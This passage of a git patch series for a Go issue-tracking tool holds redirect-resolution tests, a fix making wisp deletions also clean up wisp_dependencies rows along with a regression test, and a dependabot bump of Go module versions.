"loose") + for _, dir := range []string{storeDir, filepath.Join(clone, ".beads"), filepath.Join(plain, ".beads"), filepath.Join(loose, ".beads"), filepath.Join(loose, "sub")} { + if err := os.MkdirAll(dir, 0755); err != nil { + t.Fatal(err) + } + } + // Target must contain a recognizable database for FollowRedirect to + // honor the redirect (gastownhall/beads#4692 guard). + if err := os.WriteFile(filepath.Join(storeDir, "beads.db"), []byte{}, 0644); err != nil { + t.Fatal(err) + } + for _, dir := range []string{clone, loose} { + if err := os.WriteFile(filepath.Join(dir, ".beads", "redirect"), []byte(storeDir+"\n"), 0644); err != nil { + t.Fatal(err) + } + } + for _, dir := range []string{clone, plain} { + cmd := exec.Command("git", "init", "-q") + cmd.Dir = dir + if err := cmd.Run(); err != nil { + t.Skipf("git not available: %v", err) + } + } + t.Setenv("BEADS_DIR", storeDir) + t.Setenv("BEADS_DB", "") + + // cwd = redirect clone, workspace asked about = plain repo. + t.Chdir(clone) + git.ResetCaches() + if !GetRedirectInfo().IsRedirected { + t.Fatal("control: GetRedirectInfo in the clone must report its redirect") + } + if info := GetRedirectInfoFrom(plain); info.IsRedirected { + t.Errorf("GetRedirectInfoFrom(plain) = %+v, want no redirect", info) + } + + // cwd = plain repo, workspace asked about = redirect clone. + t.Chdir(plain) + git.ResetCaches() + if GetRedirectInfo().IsRedirected { + t.Fatal("control: GetRedirectInfo in the plain repo must report no redirect") + } + if info := GetRedirectInfoFrom(clone); !info.IsRedirected || info.TargetDir != storeDir { + t.Errorf("GetRedirectInfoFrom(clone) = %+v, want redirect to %q", info, storeDir) + } + + // No git repository: the nearest .beads above the directory is used. + if info := GetRedirectInfoFrom(filepath.Join(loose, "sub")); !info.IsRedirected || info.TargetDir != storeDir { + t.Errorf("GetRedirectInfoFrom(loose/sub) = %+v, want redirect to %q", info, storeDir) + } +} + +// TestRepoLocalBeadsDirCanonicalizesRepoRoot pins both halves of the shared +// repo-local tier's contract (gastownhall/beads#5509): the repo root is +// canonicalized before it is joined, so the From locator's raw +// `git rev-parse --show-toplevel` output lands on the same .beads as the cwd +// locator's already-canonical git.GetRepoRoot(); and "" stays "", because +// canonicalizing it would resolve to the process cwd and answer about the +// wrong workspace. +func TestRepoLocalBeadsDirCanonicalizesRepoRoot(t *testing.T) { + t.Cleanup(git.ResetCaches) + tmpDir := t.TempDir() + tmpDir, err := filepath.EvalSymlinks(tmpDir) + if err != nil { + t.Fatal(err) + } + + realRoot := filepath.Join(tmpDir, "real") + if err := os.MkdirAll(filepath.Join(realRoot, ".beads"), 0755); err != nil { + t.Fatal(err) + } + linkRoot := filepath.Join(tmpDir, "link") + if err := os.Symlink(realRoot, linkRoot); err != nil { + t.Skipf("symlinks unavailable: %v", err) + } + + want := filepath.Join(realRoot, ".beads") + if got := repoLocalBeadsDir(realRoot); got != want { + t.Errorf("control: repoLocalBeadsDir(%q) = %q, want %q", realRoot, got, want) + } + // A non-canonical root must resolve to the canonical .beads. Without the + // canonicalization this returns /.beads, which string-compares + // unequal against every other locator's answer for the same directory. + if got := repoLocalBeadsDir(linkRoot); got != want { + t.Errorf("repoLocalBeadsDir(symlinked root) = %q, want %q", got, want) + } + + // "" means "not in a git repository". Canonicalizing before this guard + // would turn it into the cwd and report the cwd's .beads as the named + // workspace's — the cwd leak the -C fix exists to remove. + t.Chdir(realRoot) + if got := repoLocalBeadsDir(""); got != "" { + t.Errorf("repoLocalBeadsDir(\"\") = %q, want \"\" (cwd must not leak in)", got) + } +} + // TestFollowRedirect_ChainPrevention tests that redirect chains are not followed func TestFollowRedirect_ChainPrevention(t *testing.T) { tmpDir := t.TempDir() From 4213c229a4ec72aed8b1875be14a428fa8e150a3 Mon Sep 17 00:00:00 2001 From: Matthew Doka Date: Sun, 27 Sep 2026 01:02:26 -0700 Subject: [PATCH 135/624] fix(storage): cascade wisp deletes into wisp_dependencies (#6563) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(storage): cascade wisp deletes into wisp_dependencies DeleteWispFromDependenciesInTx and DeleteWispsFromDependenciesInTx only cleaned the dependencies table, never wisp_dependencies — even though DeleteCascadeTables(isWisp=true) declares wisp_dependencies as part of the wisp deletion set. On stores whose wisp_dependencies table lacks the migration-0047 FK constraints (like a live production store observed with only the ck_wisp_dep_one_target CHECK), every wisp deletion orphaned that wisp's wisp_dependencies rows on both sides, and reaper scans flagged the leftovers as dangling_parent_ref anomalies that recurred after each cleanup (~100+ rows/hour under a busy daemon). Remove the deleted wisp's wisp_dependencies edges as child (issue_id) and as parent (depends_on_wisp_id) in both the single and batch delete paths. Two targeted DELETEs per direction rather than one OR query, so each hits its own index — the ff-tqm pattern; a single OR across both columns previously caused Dolt i/o timeouts. Adds TestWispDeleteCascade_CleansUpWispDependencies to the standalone- server integration harness (the existing wisp_gc_test.go coverage requires a Docker testcontainer and silently skips without one). The test drops the fresh-bootstrap FKs first so it exercises the delete path's own cascade, matching the production schema; it fails without this fix and covers the single-delete path the Docker tests omit. Co-Authored-By: Claude Opus 4.6 * fixup(review): pin over-deletion and correct two cascade comments Maintainer review fixes for PR #6563. No production behavior change. The new subtests asserted only that the deleted wisp's wisp_dependencies rows were gone, so an unguarded "DELETE FROM wisp_dependencies" with no WHERE passed both of them — verified by mutating both helpers and watching the test stay green. Each subtest now also creates an edge between two wisps it never deletes (a bystander pair for the single delete, an out-of-batch pair for the IN (...) form) and asserts that edge survives. Under the same mutation the test now fails three times with expected-vs-got. This also replaces the comment that claimed the surviving wisps' edge set was checked, which it was not: every edge the subtest created involved the deleted wisp. dropWispDependencyFKs attributed the FK constraints to migration 0047. They come from 0021, which creates all three inline in CREATE TABLE; 0058 re-adds two when healing a legacy split store, and 0047's ADD CONSTRAINT statements are gated on that same legacy path, so neither runs on the fresh bootstrap this harness uses. wispAuxCascadeTables exists so the cascade set cannot drift between the two delete paths, so note there why wisp_dependencies is handled in issueops instead: its rows are journaled as dependency removals. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Opus 4.6 Co-authored-by: Julian Knutsen --- .../wisp_delete_cascade_integration_test.go | 112 ++++++++++++++++++ internal/storage/dolt/wisps.go | 2 +- internal/storage/issueops/dependencies.go | 27 +++++ 3 files changed, 140 insertions(+), 1 deletion(-) diff --git a/internal/storage/dolt/wisp_delete_cascade_integration_test.go b/internal/storage/dolt/wisp_delete_cascade_integration_test.go index c57cdaecc..34a885c5d 100644 --- a/internal/storage/dolt/wisp_delete_cascade_integration_test.go +++ b/internal/storage/dolt/wisp_delete_cascade_integration_test.go @@ -101,6 +101,28 @@ func dropWispAuxFKs(t *testing.T, ctx context.Context, db *sql.DB) { } } +// dropWispDependencyFKs removes the wisp_dependencies FK constraints so the +// test store's schema matches the live hq store, whose wisp_dependencies +// table carries only the ck_wisp_dep_one_target CHECK constraint and no FKs. +// A fresh bootstrap gets all three from migration 0021, which creates them +// inline in CREATE TABLE; 0058 re-adds two of them when healing a legacy +// split store, and 0047's ADD CONSTRAINT statements are gated on that same +// legacy path, so neither runs here. Without this drop, the fresh store's +// ON DELETE CASCADE would clean wisp_dependencies for free and the test +// could not fail against a delete path that leaks. +func dropWispDependencyFKs(t *testing.T, ctx context.Context, db *sql.DB) { + t.Helper() + for _, stmt := range []string{ + "ALTER TABLE wisp_dependencies DROP FOREIGN KEY fk_wisp_dep_issue", + "ALTER TABLE wisp_dependencies DROP FOREIGN KEY fk_wisp_dep_wisp_target", + "ALTER TABLE wisp_dependencies DROP FOREIGN KEY fk_wisp_dep_issue_target", + } { + if _, err := db.ExecContext(ctx, stmt); err != nil { + t.Fatalf("drop wisp_dependencies FK (%s): %v", stmt, err) + } + } +} + // wispAuxTables lists the four wisp auxiliary tables a wisp delete must // cascade into. This mirrors issueops.DeleteCascadeTables(true), which // already documents this exact set as belonging to a wisp delete — separate @@ -254,3 +276,93 @@ func TestWispDeleteCascade_RepeatedCyclesLeaveNoOrphans(t *testing.T) { assertWispAuxTablesTotalZero(t, ctx, store.db, i) } } + +// TestWispDeleteCascade_CleansUpWispDependencies is the regression test for +// the hq dangling_parent_ref reaper anomaly: DeleteWispFromDependenciesInTx +// and DeleteWispsFromDependenciesInTx cleaned only the dependencies table, +// never wisp_dependencies — even though DeleteCascadeTables(true) declares +// wisp_dependencies as part of the wisp deletion set. On stores without the +// migration-0047 FKs (like live hq), every wisp deletion orphaned that +// wisp's wisp_dependencies rows on both sides (issue_id and +// depends_on_wisp_id). The package's existing regression tests for this +// behavior (TestDeleteWispBatch_CleansUpDependencies, +// TestDeleteWispBatch_BothDirectionsCleared in wisp_gc_test.go) require a +// Docker-testcontainer Dolt server; this covers the same contract — plus +// the single-delete path they omit — on the standalone-server harness. +func TestWispDeleteCascade_CleansUpWispDependencies(t *testing.T) { + store := setupWispCascadeStore(t) + ctx, cancel := context.WithTimeout(context.Background(), time.Minute) + defer cancel() + + dropWispDependencyFKs(t, ctx, store.db) + + t.Run("single delete clears both directions", func(t *testing.T) { + // mid appears as both child (issue_id, via mid->parent) and parent + // (depends_on_wisp_id, via child->mid) in wisp_dependencies. + parent := createTestWisp(t, ctx, store, "wisp-dep parent") + mid := createTestWisp(t, ctx, store, "wisp-dep mid") + child := createTestWisp(t, ctx, store, "wisp-dep child") + mustAddWispDep(t, ctx, store, mid.ID, parent.ID) + mustAddWispDep(t, ctx, store, child.ID, mid.ID) + + // An edge between two wisps that are never deleted here. Neither of + // its endpoints is mid, so it must still be there afterwards: without + // it the subtest only asserts that rows disappeared, which an + // over-broad DELETE (missing or wrong WHERE) satisfies just as well. + bystanderA := createTestWisp(t, ctx, store, "wisp-dep bystander a") + bystanderB := createTestWisp(t, ctx, store, "wisp-dep bystander b") + mustAddWispDep(t, ctx, store, bystanderA.ID, bystanderB.ID) + + if err := store.deleteWisp(ctx, mid.ID); err != nil { + t.Fatalf("deleteWisp: %v", err) + } + + if n := countWispDependencyRows(t, ctx, store.db, mid.ID); n != 0 { + t.Errorf("expected 0 wisp_dependencies rows referencing deleted wisp %s, got %d", mid.ID, n) + } + if n := countWispDependencyRows(t, ctx, store.db, bystanderA.ID, bystanderB.ID); n != 1 { + t.Errorf("expected the bystander edge to survive deleteWisp(%s), got %d rows", mid.ID, n) + } + + // parent and child are left holding no edges once mid's rows go, so + // deleting them must succeed and must still not touch the bystander. + if err := store.deleteWisp(ctx, parent.ID); err != nil { + t.Fatalf("deleteWisp parent: %v", err) + } + if err := store.deleteWisp(ctx, child.ID); err != nil { + t.Fatalf("deleteWisp child: %v", err) + } + if n := countWispDependencyRows(t, ctx, store.db, bystanderA.ID, bystanderB.ID); n != 1 { + t.Errorf("expected the bystander edge to survive the parent/child deletes, got %d rows", n) + } + }) + + t.Run("batch delete clears both directions", func(t *testing.T) { + root := createTestWisp(t, ctx, store, "wisp-dep batch root") + stepA := createTestWisp(t, ctx, store, "wisp-dep batch step-a") + stepB := createTestWisp(t, ctx, store, "wisp-dep batch step-b") + mustAddWispDep(t, ctx, store, stepA.ID, root.ID) + mustAddWispDep(t, ctx, store, stepB.ID, stepA.ID) + + // Same over-deletion guard as the single-delete subtest, against the + // IN (...) form: both endpoints are outside the deleted batch. + outsideA := createTestWisp(t, ctx, store, "wisp-dep outside-batch a") + outsideB := createTestWisp(t, ctx, store, "wisp-dep outside-batch b") + mustAddWispDep(t, ctx, store, outsideA.ID, outsideB.ID) + + deleted, err := store.deleteWispBatch(ctx, []string{root.ID, stepA.ID, stepB.ID}) + if err != nil { + t.Fatalf("deleteWispBatch: %v", err) + } + if deleted != 3 { + t.Fatalf("expected 3 deleted, got %d", deleted) + } + + if n := countWispDependencyRows(t, ctx, store.db, root.ID, stepA.ID, stepB.ID); n != 0 { + t.Errorf("expected 0 wisp_dependencies rows after batch delete, got %d", n) + } + if n := countWispDependencyRows(t, ctx, store.db, outsideA.ID, outsideB.ID); n != 1 { + t.Errorf("expected the out-of-batch edge to survive deleteWispBatch, got %d rows", n) + } + }) +} diff --git a/internal/storage/dolt/wisps.go b/internal/storage/dolt/wisps.go index d49f21725..36b6bee66 100644 --- a/internal/storage/dolt/wisps.go +++ b/internal/storage/dolt/wisps.go @@ -386,7 +386,7 @@ func (s *DoltStore) deleteWispBatch(ctx context.Context, ids []string) (int, err } // deleteWispBatchTx deletes one batch of wisps inside its own transaction. -// Keeping each transaction to ≤200 wisps (6 DELETE statements) ensures it +// Keeping each transaction to ≤200 wisps (8 DELETE statements) ensures it // completes well within Dolt's 10 s write timeout. func (s *DoltStore) deleteWispBatchTx(ctx context.Context, ids []string) (int, error) { tx, err := s.db.BeginTx(ctx, nil) diff --git a/internal/storage/issueops/dependencies.go b/internal/storage/issueops/dependencies.go index 6e76097bd..3467900af 100644 --- a/internal/storage/issueops/dependencies.go +++ b/internal/storage/issueops/dependencies.go @@ -656,6 +656,20 @@ func DeleteWispFromDependenciesInTx(ctx context.Context, tx *sql.Tx, wispID stri "DELETE FROM dependencies WHERE depends_on_wisp_id = ?", wispID); err != nil { return fmt.Errorf("delete wisp %s from dependencies: %w", wispID, err) } + // wisp_dependencies is part of the wisp deletion set (DeleteCascadeTables), + // but no delete path cleaned it: every wisp deletion orphaned its + // wisp_dependencies rows on both sides, accumulating dangling parent/child + // refs that reaper scans flag as anomalies. Remove the wisp's edges as + // child (issue_id) and as parent (depends_on_wisp_id). Two targeted + // DELETEs, not one OR query, so each hits its own index (ff-tqm). + if _, err := tx.ExecContext(ctx, + "DELETE FROM wisp_dependencies WHERE issue_id = ?", wispID); err != nil { + return fmt.Errorf("delete wisp %s child rows from wisp_dependencies: %w", wispID, err) + } + if _, err := tx.ExecContext(ctx, + "DELETE FROM wisp_dependencies WHERE depends_on_wisp_id = ?", wispID); err != nil { + return fmt.Errorf("delete wisp %s parent rows from wisp_dependencies: %w", wispID, err) + } return nil } @@ -670,6 +684,19 @@ func DeleteWispsFromDependenciesInTx(ctx context.Context, tx *sql.Tx, wispIDs [] args...); err != nil { return fmt.Errorf("delete wisps from dependencies: %w", err) } + // See DeleteWispFromDependenciesInTx: wisp_dependencies rows must go with + // the wisps, on both the child and parent side. Two targeted DELETEs, not + // one OR query, so each hits its own index (ff-tqm). + if _, err := tx.ExecContext(ctx, + fmt.Sprintf("DELETE FROM wisp_dependencies WHERE issue_id IN (%s)", inClause), + args...); err != nil { + return fmt.Errorf("delete wisps child rows from wisp_dependencies: %w", err) + } + if _, err := tx.ExecContext(ctx, + fmt.Sprintf("DELETE FROM wisp_dependencies WHERE depends_on_wisp_id IN (%s)", inClause), + args...); err != nil { + return fmt.Errorf("delete wisps parent rows from wisp_dependencies: %w", err) + } return nil } From 0dc36aec31f534c80f20591195babbbb0d706b31 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 27 Sep 2026 01:07:14 -0700 Subject: [PATCH 136/624] chore(deps): bump the go-deps group across 1 directory with 20 updates (#6494) * chore(deps): bump the go-deps group across 1 directory with 20 updates Bumps the go-deps group with 13 updates in the / directory: | Package | From | To | | --- | --- | --- | | [charm.land/lipgloss/v2](https://github.com/charmbracelet/lipgloss) | `2.0.5` | `2.0.6` | | [github.com/anthropics/anthropic-sdk-go](https://github.com/anthropics/anthropic-sdk-go) | `1.61.0` | `1.71.0` | | [github.com/go-sql-driver/mysql](https://github.com/go-sql-driver/mysql) | `1.10.0` | `1.10.1` | | [github.com/mattn/go-sqlite3](https://github.com/mattn/go-sqlite3) | `1.14.49` | `1.14.52` | | [github.com/stretchr/testify](https://github.com/stretchr/testify) | `1.11.1` | `1.12.1` | | [go.opentelemetry.io/otel](https://github.com/open-telemetry/opentelemetry-go) | `1.45.0` | `1.46.0` | | [go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp](https://github.com/open-telemetry/opentelemetry-go) | `1.45.0` | `1.46.0` | | [go.opentelemetry.io/otel/exporters/stdout/stdoutmetric](https://github.com/open-telemetry/opentelemetry-go) | `1.45.0` | `1.46.0` | | [go.opentelemetry.io/otel/exporters/stdout/stdouttrace](https://github.com/open-telemetry/opentelemetry-go) | `1.45.0` | `1.46.0` | | [golang.org/x/sync](https://github.com/golang/sync) | `0.22.0` | `0.23.0` | | [golang.org/x/sys](https://github.com/golang/sys) | `0.47.0` | `0.48.0` | | [golang.org/x/term](https://github.com/golang/term) | `0.45.0` | `0.46.0` | | [github.com/yuin/goldmark](https://github.com/yuin/goldmark) | `1.8.5` | `1.8.6` | Updates `charm.land/lipgloss/v2` from 2.0.5 to 2.0.6 - [Release notes](https://github.com/charmbracelet/lipgloss/releases) - [Commits](https://github.com/charmbracelet/lipgloss/compare/v2.0.5...v2.0.6) Updates `github.com/anthropics/anthropic-sdk-go` from 1.61.0 to 1.71.0 - [Release notes](https://github.com/anthropics/anthropic-sdk-go/releases) - [Changelog](https://github.com/anthropics/anthropic-sdk-go/blob/main/CHANGELOG.md) - [Commits](https://github.com/anthropics/anthropic-sdk-go/compare/v1.61.0...v1.71.0) Updates `github.com/go-sql-driver/mysql` from 1.10.0 to 1.10.1 - [Release notes](https://github.com/go-sql-driver/mysql/releases) - [Changelog](https://github.com/go-sql-driver/mysql/blob/master/CHANGELOG.md) - [Commits](https://github.com/go-sql-driver/mysql/compare/v1.10.0...v1.10.1) Updates `github.com/mattn/go-sqlite3` from 1.14.49 to 1.14.52 - [Release notes](https://github.com/mattn/go-sqlite3/releases) - [Commits](https://github.com/mattn/go-sqlite3/compare/v1.14.49...v1.14.52) Updates `github.com/stretchr/testify` from 1.11.1 to 1.12.1 - [Release notes](https://github.com/stretchr/testify/releases) - [Commits](https://github.com/stretchr/testify/compare/v1.11.1...v1.12.1) Updates `go.opentelemetry.io/otel` from 1.45.0 to 1.46.0 - [Release notes](https://github.com/open-telemetry/opentelemetry-go/releases) - [Changelog](https://github.com/open-telemetry/opentelemetry-go/blob/main/CHANGELOG.md) - [Commits](https://github.com/open-telemetry/opentelemetry-go/compare/v1.45.0...v1.46.0) Updates `go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp` from 1.45.0 to 1.46.0 - [Release notes](https://github.com/open-telemetry/opentelemetry-go/releases) - [Changelog](https://github.com/open-telemetry/opentelemetry-go/blob/main/CHANGELOG.md) - [Commits](https://github.com/open-telemetry/opentelemetry-go/compare/v1.45.0...v1.46.0) Updates `go.opentelemetry.io/otel/exporters/stdout/stdoutmetric` from 1.45.0 to 1.46.0 - [Release notes](https://github.com/open-telemetry/opentelemetry-go/releases) - [Changelog](https://github.com/open-telemetry/opentelemetry-go/blob/main/CHANGELOG.md) - [Commits](https://github.com/open-telemetry/opentelemetry-go/compare/v1.45.0...v1.46.0) Updates `go.opentelemetry.io/otel/exporters/stdout/stdouttrace` from 1.45.0 to 1.46.0 - [Release notes](https://github.com/open-telemetry/opentelemetry-go/releases) - [Changelog](https://github.com/open-telemetry/opentelemetry-go/blob/main/CHANGELOG.md) - [Commits](https://github.com/open-telemetry/opentelemetry-go/compare/v1.45.0...v1.46.0) Updates `go.opentelemetry.io/otel/metric` from 1.45.0 to 1.46.0 - [Release notes](https://github.com/open-telemetry/opentelemetry-go/releases) - [Changelog](https://github.com/open-telemetry/opentelemetry-go/blob/main/CHANGELOG.md) - [Commits](https://github.com/open-telemetry/opentelemetry-go/compare/v1.45.0...v1.46.0) Updates `go.opentelemetry.io/otel/sdk` from 1.45.0 to 1.46.0 - [Release notes](https://github.com/open-telemetry/opentelemetry-go/releases) - [Changelog](https://github.com/open-telemetry/opentelemetry-go/blob/main/CHANGELOG.md) - [Commits](https://github.com/open-telemetry/opentelemetry-go/compare/v1.45.0...v1.46.0) Updates `go.opentelemetry.io/otel/sdk/metric` from 1.45.0 to 1.46.0 - [Release notes](https://github.com/open-telemetry/opentelemetry-go/releases) - [Changelog](https://github.com/open-telemetry/opentelemetry-go/blob/main/CHANGELOG.md) - [Commits](https://github.com/open-telemetry/opentelemetry-go/compare/v1.45.0...v1.46.0) Updates `go.opentelemetry.io/otel/trace` from 1.45.0 to 1.46.0 - [Release notes](https://github.com/open-telemetry/opentelemetry-go/releases) - [Changelog](https://github.com/open-telemetry/opentelemetry-go/blob/main/CHANGELOG.md) - [Commits](https://github.com/open-telemetry/opentelemetry-go/compare/v1.45.0...v1.46.0) Updates `golang.org/x/sync` from 0.22.0 to 0.23.0 - [Commits](https://github.com/golang/sync/compare/v0.22.0...v0.23.0) Updates `golang.org/x/sys` from 0.47.0 to 0.48.0 - [Commits](https://github.com/golang/sys/compare/v0.47.0...v0.48.0) Updates `golang.org/x/term` from 0.45.0 to 0.46.0 - [Commits](https://github.com/golang/term/compare/v0.45.0...v0.46.0) Updates `github.com/charmbracelet/x/ansi` from 0.11.7 to 0.11.8 - [Commits](https://github.com/charmbracelet/x/compare/ansi/v0.11.7...ansi/v0.11.8) Updates `github.com/yuin/goldmark` from 1.8.5 to 1.8.6 - [Release notes](https://github.com/yuin/goldmark/releases) - [Commits](https://github.com/yuin/goldmark/compare/v1.8.5...v1.8.6) Updates `golang.org/x/mod` from 0.37.0 to 0.38.0 - [Commits](https://github.com/golang/mod/compare/v0.37.0...v0.38.0) Updates `golang.org/x/net` from 0.57.0 to 0.58.0 - [Commits](https://github.com/golang/net/compare/v0.57.0...v0.58.0) --- updated-dependencies: - dependency-name: charm.land/lipgloss/v2 dependency-version: 2.0.6 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: go-deps - dependency-name: github.com/anthropics/anthropic-sdk-go dependency-version: 1.71.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: go-deps - dependency-name: github.com/go-sql-driver/mysql dependency-version: 1.10.1 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: go-deps - dependency-name: github.com/mattn/go-sqlite3 dependency-version: 1.14.52 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: go-deps - dependency-name: github.com/stretchr/testify dependency-version: 1.12.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: go-deps - dependency-name: go.opentelemetry.io/otel dependency-version: 1.46.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: go-deps - dependency-name: go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp dependency-version: 1.46.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: go-deps - dependency-name: go.opentelemetry.io/otel/exporters/stdout/stdoutmetric dependency-version: 1.46.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: go-deps - dependency-name: go.opentelemetry.io/otel/exporters/stdout/stdouttrace dependency-version: 1.46.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: go-deps - dependency-name: go.opentelemetry.io/otel/metric dependency-version: 1.46.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: go-deps - dependency-name: go.opentelemetry.io/otel/sdk dependency-version: 1.46.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: go-deps - dependency-name: go.opentelemetry.io/otel/sdk/metric dependency-version: 1.46.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: go-deps - dependency-name: go.opentelemetry.io/otel/trace dependency-version: 1.46.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: go-deps - dependency-name: golang.org/x/sync dependency-version: 0.23.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: go-deps - dependency-name: golang.org/x/sys dependency-version: 0.48.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: go-deps - dependency-name: golang.org/x/term dependency-version: 0.46.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: go-deps - dependency-name: github.com/charmbracelet/x/ansi dependency-version: 0.11.8 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: go-deps - dependency-name: github.com/yuin/goldmark dependency-version: 1.8.6 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: go-deps - dependency-name: golang.org/x/mod dependency-version: 0.38.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: go-deps - dependency-name: golang.org/x/net dependency-version: 0.58.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: go-deps ... Signed-off-by: dependabot[bot] * chore(nix): update vendorHash for go.sum changes Auto-generated by .github/workflows/update-vendor-hash.yml in response to a dependabot Go-module bump (beads-bz5). --------- Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> Co-authored-by: Julian Knutsen --- default.nix | 2 +- go.mod | 66 ++++++++++++------------- go.sum | 139 +++++++++++++++++++++++++--------------------------- 3 files changed, 101 insertions(+), 106 deletions(-) diff --git a/default.nix b/default.nix index 753f83996..d9418ef3e 100644 --- a/default.nix +++ b/default.nix @@ -19,7 +19,7 @@ buildGoModule { # proxyVendor avoids vendor/modules.txt consistency checks when the vendored # tree lags go.mod/go.sum. proxyVendor = true; - vendorHash = "sha256-m+ADPJxU1PuVm5dAHOZGBkXbGIzEIiJMmpypvwiFKX4="; + vendorHash = "sha256-hVZpgCMYmR64mVQWZjdEjjJhQdhPeFYRlAKh4VXKHiE="; # Match go.mod to the selected Nix Go toolchain. buildGoModule also builds # vendored dependencies in the Nix sandbox, where toolchain downloads are not diff --git a/go.mod b/go.mod index 7380f8693..df54d03a2 100644 --- a/go.mod +++ b/go.mod @@ -7,35 +7,35 @@ toolchain go1.26.7 require ( charm.land/glamour/v2 v2.0.1 charm.land/huh/v2 v2.0.3 - charm.land/lipgloss/v2 v2.0.5 + charm.land/lipgloss/v2 v2.0.6 github.com/BurntSushi/toml v1.6.0 github.com/DATA-DOG/go-sqlmock v1.5.2 github.com/JohannesKaufmann/html-to-markdown/v2 v2.5.2 - github.com/anthropics/anthropic-sdk-go v1.61.0 + github.com/anthropics/anthropic-sdk-go v1.71.0 github.com/cenkalti/backoff/v4 v4.3.0 github.com/dolthub/driver/v2 v2.2.0 github.com/dolthub/eventkit v0.0.0-20260611184414-99f5693e696a - github.com/go-sql-driver/mysql v1.10.0 + github.com/go-sql-driver/mysql v1.10.1 github.com/gowebpki/jcs v1.0.1 github.com/invopop/jsonschema v0.14.0 - github.com/mattn/go-sqlite3 v1.14.49 + github.com/mattn/go-sqlite3 v1.14.52 github.com/olebedev/when v1.1.0 github.com/spf13/cobra v1.10.2 github.com/spf13/viper v1.21.0 - github.com/stretchr/testify v1.11.1 + github.com/stretchr/testify v1.12.1 github.com/testcontainers/testcontainers-go v0.43.0 github.com/testcontainers/testcontainers-go/modules/dolt v0.43.0 - go.opentelemetry.io/otel v1.45.0 - go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp v1.45.0 - go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.45.0 - go.opentelemetry.io/otel/exporters/stdout/stdouttrace v1.45.0 - go.opentelemetry.io/otel/metric v1.45.0 - go.opentelemetry.io/otel/sdk v1.45.0 - go.opentelemetry.io/otel/sdk/metric v1.45.0 - go.opentelemetry.io/otel/trace v1.45.0 - golang.org/x/sync v0.22.0 - golang.org/x/sys v0.47.0 - golang.org/x/term v0.45.0 + go.opentelemetry.io/otel v1.46.0 + go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp v1.46.0 + go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.46.0 + go.opentelemetry.io/otel/exporters/stdout/stdouttrace v1.46.0 + go.opentelemetry.io/otel/metric v1.46.0 + go.opentelemetry.io/otel/sdk v1.46.0 + go.opentelemetry.io/otel/sdk/metric v1.46.0 + go.opentelemetry.io/otel/trace v1.46.0 + golang.org/x/sync v0.23.0 + golang.org/x/sys v0.48.0 + golang.org/x/term v0.46.0 gopkg.in/yaml.v3 v3.0.1 rsc.io/script v0.0.2 ) @@ -49,8 +49,7 @@ require ( github.com/dprotaso/go-yit v0.0.0-20220510233725-9ba8df137936 // indirect github.com/fsnotify/fsnotify v1.9.0 // indirect github.com/getkin/kin-openapi v0.144.0 // indirect - github.com/go-openapi/jsonpointer v0.22.5 // indirect - github.com/go-openapi/swag/jsonname v0.25.5 // indirect + github.com/go-openapi/jsonpointer v1.0.0 // indirect github.com/moby/moby/api v1.54.2 // indirect github.com/moby/moby/client v0.4.0 // indirect github.com/oapi-codegen/oapi-codegen/v2 v2.7.1 // indirect @@ -124,8 +123,8 @@ require ( github.com/catppuccin/go v0.3.0 // indirect github.com/cespare/xxhash/v2 v2.3.0 // indirect github.com/charmbracelet/colorprofile v0.4.3 // indirect - github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 // indirect - github.com/charmbracelet/x/ansi v0.11.7 + github.com/charmbracelet/ultraviolet v0.0.0-20260811164956-006e29f97886 // indirect + github.com/charmbracelet/x/ansi v0.11.8 github.com/charmbracelet/x/exp/ordered v0.1.0 // indirect github.com/charmbracelet/x/exp/slice v0.0.0-20250327172914-2fdc97757edf // indirect github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 // indirect @@ -140,7 +139,6 @@ require ( github.com/containerd/log v0.1.0 // indirect github.com/containerd/platforms v0.2.1 // indirect github.com/cpuguy83/dockercfg v0.3.2 // indirect - github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect github.com/denisbrodbeck/machineid v1.0.1 // indirect github.com/distribution/reference v0.6.0 // indirect github.com/dlclark/regexp2 v1.11.5 // indirect @@ -164,13 +162,13 @@ require ( github.com/envoyproxy/protoc-gen-validate v1.3.3 // indirect github.com/esote/minmaxheap v1.0.0 // indirect github.com/fatih/color v1.16.0 // indirect - github.com/felixge/httpsnoop v1.0.4 // indirect + github.com/felixge/httpsnoop v1.1.0 // indirect github.com/flynn-archive/go-shlex v0.0.0-20150515145356-3f9db97f8568 // indirect github.com/go-jose/go-jose/v4 v4.1.4 // indirect 